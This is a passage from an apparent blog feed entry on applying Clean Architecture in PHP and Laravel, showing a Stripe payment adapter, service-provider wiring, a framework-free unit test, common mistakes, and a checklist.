            <span class="k">foreach</span> <span class="p">(</span><span class="nv">$order</span><span class="o">-&gt;</span><span class="n">lines</span> <span class="k">as</span> <span class="nv">$line</span><span class="p">)</span> <span class="p">{</span>
                <span class="nv">$row</span><span class="o">-&gt;</span><span class="nf">lines</span><span class="p">()</span><span class="o">-&gt;</span><span class="nf">create</span><span class="p">([</span>
                    <span class="s1">'product_id'</span> <span class="o">=&gt;</span> <span class="p">(</span><span class="n">string</span><span class="p">)</span> <span class="nv">$line</span><span class="o">-&gt;</span><span class="n">productId</span><span class="p">,</span>
                    <span class="s1">'unit_price'</span> <span class="o">=&gt;</span> <span class="nv">$line</span><span class="o">-&gt;</span><span class="n">unitPrice</span><span class="o">-&gt;</span><span class="nf">cents</span><span class="p">(),</span>
                    <span class="s1">'quantity'</span>   <span class="o">=&gt;</span> <span class="nv">$line</span><span class="o">-&gt;</span><span class="n">quantity</span><span class="p">,</span>
                <span class="p">]);</span>
            <span class="p">}</span>
        <span class="p">});</span>
    <span class="p">}</span>
<span class="p">}</span>
</code></pre></div></div>

<p><strong>A gateway</strong> adapts the Stripe SDK to the <code class="language-plaintext highlighter-rouge">PaymentGateway</code> port:</p>

<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// adapters/payment/StripePaymentGateway.php</span>
<span class="k">final</span> <span class="kd">class</span> <span class="nc">StripePaymentGateway</span> <span class="kd">implements</span> <span class="nc">PaymentGateway</span>
<span class="p">{</span>
    <span class="k">public</span> <span class="k">function</span> <span class="n">__construct</span><span class="p">(</span><span class="k">private</span> <span class="kt">StripeClient</span> <span class="nv">$stripe</span><span class="p">)</span> <span class="p">{}</span>

    <span class="k">public</span> <span class="k">function</span> <span class="n">charge</span><span class="p">(</span><span class="kt">CustomerId</span> <span class="nv">$customer</span><span class="p">,</span> <span class="kt">Money</span> <span class="nv">$amount</span><span class="p">):</span> <span class="kt">PaymentResult</span>
    <span class="p">{</span>
        <span class="k">try</span> <span class="p">{</span>
            <span class="nv">$intent</span> <span class="o">=</span> <span class="nv">$this</span><span class="o">-&gt;</span><span class="n">stripe</span><span class="o">-&gt;</span><span class="n">paymentIntents</span><span class="o">-&gt;</span><span class="nf">create</span><span class="p">([</span>
                <span class="s1">'amount'</span>   <span class="o">=&gt;</span> <span class="nv">$amount</span><span class="o">-&gt;</span><span class="nf">cents</span><span class="p">(),</span>
                <span class="s1">'currency'</span> <span class="o">=&gt;</span> <span class="nb">strtolower</span><span class="p">(</span><span class="nv">$amount</span><span class="o">-&gt;</span><span class="nf">currency</span><span class="p">()),</span>
                <span class="s1">'customer'</span> <span class="o">=&gt;</span> <span class="p">(</span><span class="n">string</span><span class="p">)</span> <span class="nv">$customer</span><span class="p">,</span>
                <span class="s1">'confirm'</span>  <span class="o">=&gt;</span> <span class="kc">true</span><span class="p">,</span>
            <span class="p">]);</span>
            <span class="k">return</span> <span class="nc">PaymentResult</span><span class="o">::</span><span class="nf">ok</span><span class="p">(</span><span class="nv">$intent</span><span class="o">-&gt;</span><span class="n">id</span><span class="p">);</span>
        <span class="p">}</span> <span class="k">catch</span> <span class="p">(</span><span class="nc">CardException</span> <span class="nv">$e</span><span class="p">)</span> <span class="p">{</span>
            <span class="k">return</span> <span class="nc">PaymentResult</span><span class="o">::</span><span class="nf">failed</span><span class="p">(</span><span class="nv">$e</span><span class="o">-&gt;</span><span class="nf">getMessage</span><span class="p">());</span>
        <span class="p">}</span>
    <span class="p">}</span>
<span class="p">}</span>
</code></pre></div></div>

<h3 id="5-frameworks--drivers--wire-it-together">5. Frameworks &amp; Drivers — wire it together</h3>

<p>The only place the layers meet is the composition root. In Laravel that is a service provider:</p>

<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// app/Providers/OrderingServiceProvider.php</span>
<span class="k">public</span> <span class="k">function</span> <span class="n">register</span><span class="p">():</span> <span class="kt">void</span>
<span class="p">{</span>
    <span class="nv">$this</span><span class="o">-&gt;</span><span class="n">app</span><span class="o">-&gt;</span><span class="nf">bind</span><span class="p">(</span><span class="nc">ProductCatalog</span><span class="o">::</span><span class="n">class</span><span class="p">,</span> <span class="nc">EloquentProductCatalog</span><span class="o">::</span><span class="n">class</span><span class="p">);</span>
    <span class="nv">$this</span><span class="o">-&gt;</span><span class="n">app</span><span class="o">-&gt;</span><span class="nf">bind</span><span class="p">(</span><span class="nc">OrderRepository</span><span class="o">::</span><span class="n">class</span><span class="p">,</span> <span class="nc">EloquentOrderRepository</span><span class="o">::</span><span class="n">class</span><span class="p">);</span>
    <span class="nv">$this</span><span class="o">-&gt;</span><span class="n">app</span><span class="o">-&gt;</span><span class="nf">bind</span><span class="p">(</span><span class="nc">OrderNotifier</span><span class="o">::</span><span class="n">class</span><span class="p">,</span> <span class="nc">MailOrderNotifier</span><span class="o">::</span><span class="n">class</span><span class="p">);</span>

    <span class="nv">$this</span><span class="o">-&gt;</span><span class="n">app</span><span class="o">-&gt;</span><span class="nf">bind</span><span class="p">(</span><span class="nc">PaymentGateway</span><span class="o">::</span><span class="n">class</span><span class="p">,</span> <span class="k">function</span> <span class="p">(</span><span class="nv">$app</span><span class="p">)</span> <span class="p">{</span>
        <span class="k">return</span> <span class="k">new</span> <span class="nc">StripePaymentGateway</span><span class="p">(</span><span class="nv">$app</span><span class="o">-&gt;</span><span class="nf">make</span><span class="p">(</span><span class="nc">StripeClient</span><span class="o">::</span><span class="n">class</span><span class="p">));</span>
    <span class="p">});</span>
<span class="p">}</span>
</code></pre></div></div>

<p>Laravel now knows how to build <code class="language-plaintext highlighter-rouge">PlaceOrder</code>: it sees the four interface type-hints, resolves each to the concrete class above, and injects them. The controller asks for <code class="language-plaintext highlighter-rouge">PlaceOrder</code>, gets a fully wired instance, and none of the inner code ever named a framework class.</p>

<hr />

<h2 id="what-this-buys-you">What this buys you</h2>

<figure>
<svg viewBox="0 0 680 200" xmlns="http://www.w3.org/2000/svg" role="img" aria-label="Four benefits: testable core, swappable details, framework independence, and screaming architecture.">
  <style>
    .t{font:600 13px -apple-system,Segoe UI,Roboto,sans-serif;fill:#0f172a;}
    .d{font:11.5px -apple-system,Segoe UI,Roboto,sans-serif;fill:#64748b;}
  </style>
  <rect x="1" y="10" width="330" height="80" rx="9" fill="#eff6ff" stroke="#bfdbfe" />
  <text class="t" x="18" y="34">Testable business rules</text>
  <text class="d" x="18" y="54">PlaceOrder tested with in-memory fakes.</text>
  <text class="d" x="18" y="72">No DB, no HTTP, milliseconds per test.</text>

  <rect x="349" y="10" width="330" height="80" rx="9" fill="#f0fdf4" stroke="#bbf7d0" />
  <text class="t" x="366" y="34">Swappable details</text>
  <text class="d" x="366" y="54">Stripe → PayPal, MySQL → Postgres:</text>
  <text class="d" x="366" y="72">new adapter, one bind line. Core untouched.</text>

  <rect x="1" y="108" width="330" height="80" rx="9" fill="#fef9c3" stroke="#fde68a" />
  <text class="t" x="18" y="132">Framework independence</text>
  <text class="d" x="18" y="152">Laravel upgrade or migration to a queue</text>
  <text class="d" x="18" y="170">worker touches adapters only.</text>

  <rect x="349" y="108" width="330" height="80" rx="9" fill="#f5f3ff" stroke="#ddd6fe" />
  <text class="t" x="366" y="132">Intent-revealing structure</text>
  <text class="d" x="366" y="152">The application/ folder lists use cases:</text>
  <text class="d" x="366" y="170">PlaceOrder, CancelOrder, RefundOrder.</text>
</svg>
<figcaption style="font-size:1.25rem;color:#64748b;margin-top:8px;">The point is not the folders. It is that the expensive-to-change code (rules) is isolated from the cheap-to-change code (details).</figcaption>
</figure>

<p>A test for the use case needs no framework:</p>

<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">public</span> <span class="k">function</span> <span class="n">test_it_declines_when_the_card_fails</span><span class="p">():</span> <span class="kt">void</span>
<span class="p">{</span>
    <span class="nv">$placeOrder</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">PlaceOrder</span><span class="p">(</span>
        <span class="n">catalog</span><span class="o">:</span> <span class="k">new</span> <span class="nc">InMemoryCatalog</span><span class="p">([</span><span class="nv">$this</span><span class="o">-&gt;</span><span class="nf">product</span><span class="p">(</span><span class="s1">'p1'</span><span class="p">,</span> <span class="n">price</span><span class="o">:</span> <span class="mi">1000</span><span class="p">,</span> <span class="n">stock</span><span class="o">:</span> <span class="mi">5</span><span class="p">)]),</span>
        <span class="n">orders</span><span class="o">:</span> <span class="nv">$orders</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">InMemoryOrderRepository</span><span class="p">(),</span>
        <span class="n">payments</span><span class="o">:</span> <span class="k">new</span> <span class="nc">AlwaysDeclinesGateway</span><span class="p">(),</span>
        <span class="n">notifier</span><span class="o">:</span> <span class="k">new</span> <span class="nc">NullNotifier</span><span class="p">(),</span>
    <span class="p">);</span>

    <span class="nv">$this</span><span class="o">-&gt;</span><span class="nf">expectException</span><span class="p">(</span><span class="nc">PaymentDeclined</span><span class="o">::</span><span class="n">class</span><span class="p">);</span>

    <span class="nv">$placeOrder</span><span class="o">-&gt;</span><span class="nf">handle</span><span class="p">(</span><span class="k">new</span> <span class="nc">PlaceOrderCommand</span><span class="p">(</span>
        <span class="k">new</span> <span class="nc">CustomerId</span><span class="p">(</span><span class="s1">'c1'</span><span class="p">),</span>
        <span class="p">[</span><span class="k">new</span> <span class="nc">CartItem</span><span class="p">(</span><span class="k">new</span> <span class="nc">ProductId</span><span class="p">(</span><span class="s1">'p1'</span><span class="p">),</span> <span class="mi">2</span><span class="p">)],</span>
    <span class="p">));</span>

    <span class="nv">$this</span><span class="o">-&gt;</span><span class="nf">assertCount</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="nv">$orders</span><span class="o">-&gt;</span><span class="nf">all</span><span class="p">());</span> <span class="c1">// nothing persisted</span>
<span class="p">}</span>
</code></pre></div></div>

<hr />

<h2 id="the-traps">The traps</h2>

<div>

  <table>
    <thead>
      <tr>
        <th>Mistake</th>
        <th>Why it hurts</th>
      </tr>
    </thead>
    <tbody>
      <tr>
        <td><strong>Entities that extend <code class="language-plaintext highlighter-rouge">Model</code></strong></td>
        <td>Eloquent is now a core dependency. Every test needs a database; the domain is coupled to the ORM’s lifecycle.</td>
      </tr>
      <tr>
        <td><strong>Use cases that take a <code class="language-plaintext highlighter-rouge">Request</code> or return a <code class="language-plaintext highlighter-rouge">JsonResponse</code></strong></td>
        <td>The application layer now depends on HTTP. It can’t be reused from a queue job, a command, or a test without faking the web.</td>
      </tr>
      <tr>
        <td><strong>Interfaces in the outer layer</strong></td>
        <td>If <code class="language-plaintext highlighter-rouge">OrderRepository</code> lives next to Eloquent instead of next to the use case, the arrow points the wrong way. The port belongs to the consumer.</td>
      </tr>
      <tr>
        <td><strong>A <code class="language-plaintext highlighter-rouge">Services/</code> folder that just wraps the ORM</strong></td>
        <td>Layers named but not respected. If <code class="language-plaintext highlighter-rouge">OrderService</code> calls <code class="language-plaintext highlighter-rouge">DB::</code> and returns arrays, you have indirection without inversion.</td>
      </tr>
      <tr>
        <td><strong>Applying all four layers to a CRUD admin panel</strong></td>
        <td>Clean Architecture pays off where business rules are rich and long-lived. For a settings table, a controller and a model are fine.</td>
      </tr>
    </tbody>
  </table>

</div>

<hr />

<h2 id="when-to-reach-for-it">When to reach for it</h2>

<p>Clean Architecture is an investment: more files, more interfaces, more indirection. It earns that cost when:</p>

<ul>
  <li>the <strong>domain rules are non-trivial</strong> and will outlive the current framework version;</li>
  <li>you have <strong>multiple entry points</strong> to the same logic (HTTP, queue, CLI, scheduled job);</li>
  <li><strong>testing speed matters</strong> and you don’t want a database in every test;</li>
  <li>the team is large enough that <strong>clear boundaries</strong> prevent the codebase turning to mud.</li>
</ul>

<p>For a weekend CRUD app, skip it. For the payments module of a platform you will run for five years, the boundaries are worth every extra file.</p>

<hr />

<h2 id="a-five-point-checklist">A five-point checklist</h2>

<ol>
  <li><strong>Point every source dependency inward.</strong> If an inner class names an outer class, you have a violation.</li>
  <li><strong>Keep entities and use cases free of framework types.</strong> No <code class="language-plaintext highlighter-rouge">Model</code>, no <code class="language-plaintext highlighter-rouge">Request</code>, no facades, no SDK classes.</li>
  <li><strong>Let the consumer own the interface.</strong> The port sits with the use case that needs it; the outer layer implements it.</li>
  <li><strong>Make the use case the unit of the application layer</strong> — one class per action, readable as a business process.</li>
  <li><strong>Wire everything in one composition root</strong> (a service provider) and nowhere else.</li>
</ol>

<hr />

<h2 id="conclusion">Conclusion</h2>

<p>Clean Architecture is one rule wearing four circles: <strong>details depend on rules, never the reverse.</strong> You enforce it by having each inner layer declare the interfaces it needs and letting the framework layer implement them at a single wiring point.</p>

<p>The payoff is that the code most expensive to get wrong — the business logic — is the code least entangled with the parts you will replace. Frameworks come and go; the meaning of “place an order” stays put.</p>]]></content><author><name>Milanda Wijekoon</name><email>milandawijekoon@gmail.com</email></author><category term="Architecture" /><summary type="html"><![CDATA[Clean Architecture in plain terms: the concentric circles, the single dependency rule that makes them work, and one real feature — placing an order in a small e-commerce app — built the Clean way in PHP. A 10–15 minute read.]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://milandawijekoon.github.io/assets/images/logo.png" /><media:content medium="image" url="https://milandawijekoon.github.io/assets/images/logo.png" xmlns:media="http://search.yahoo.com/mrss/" /></entry></feed>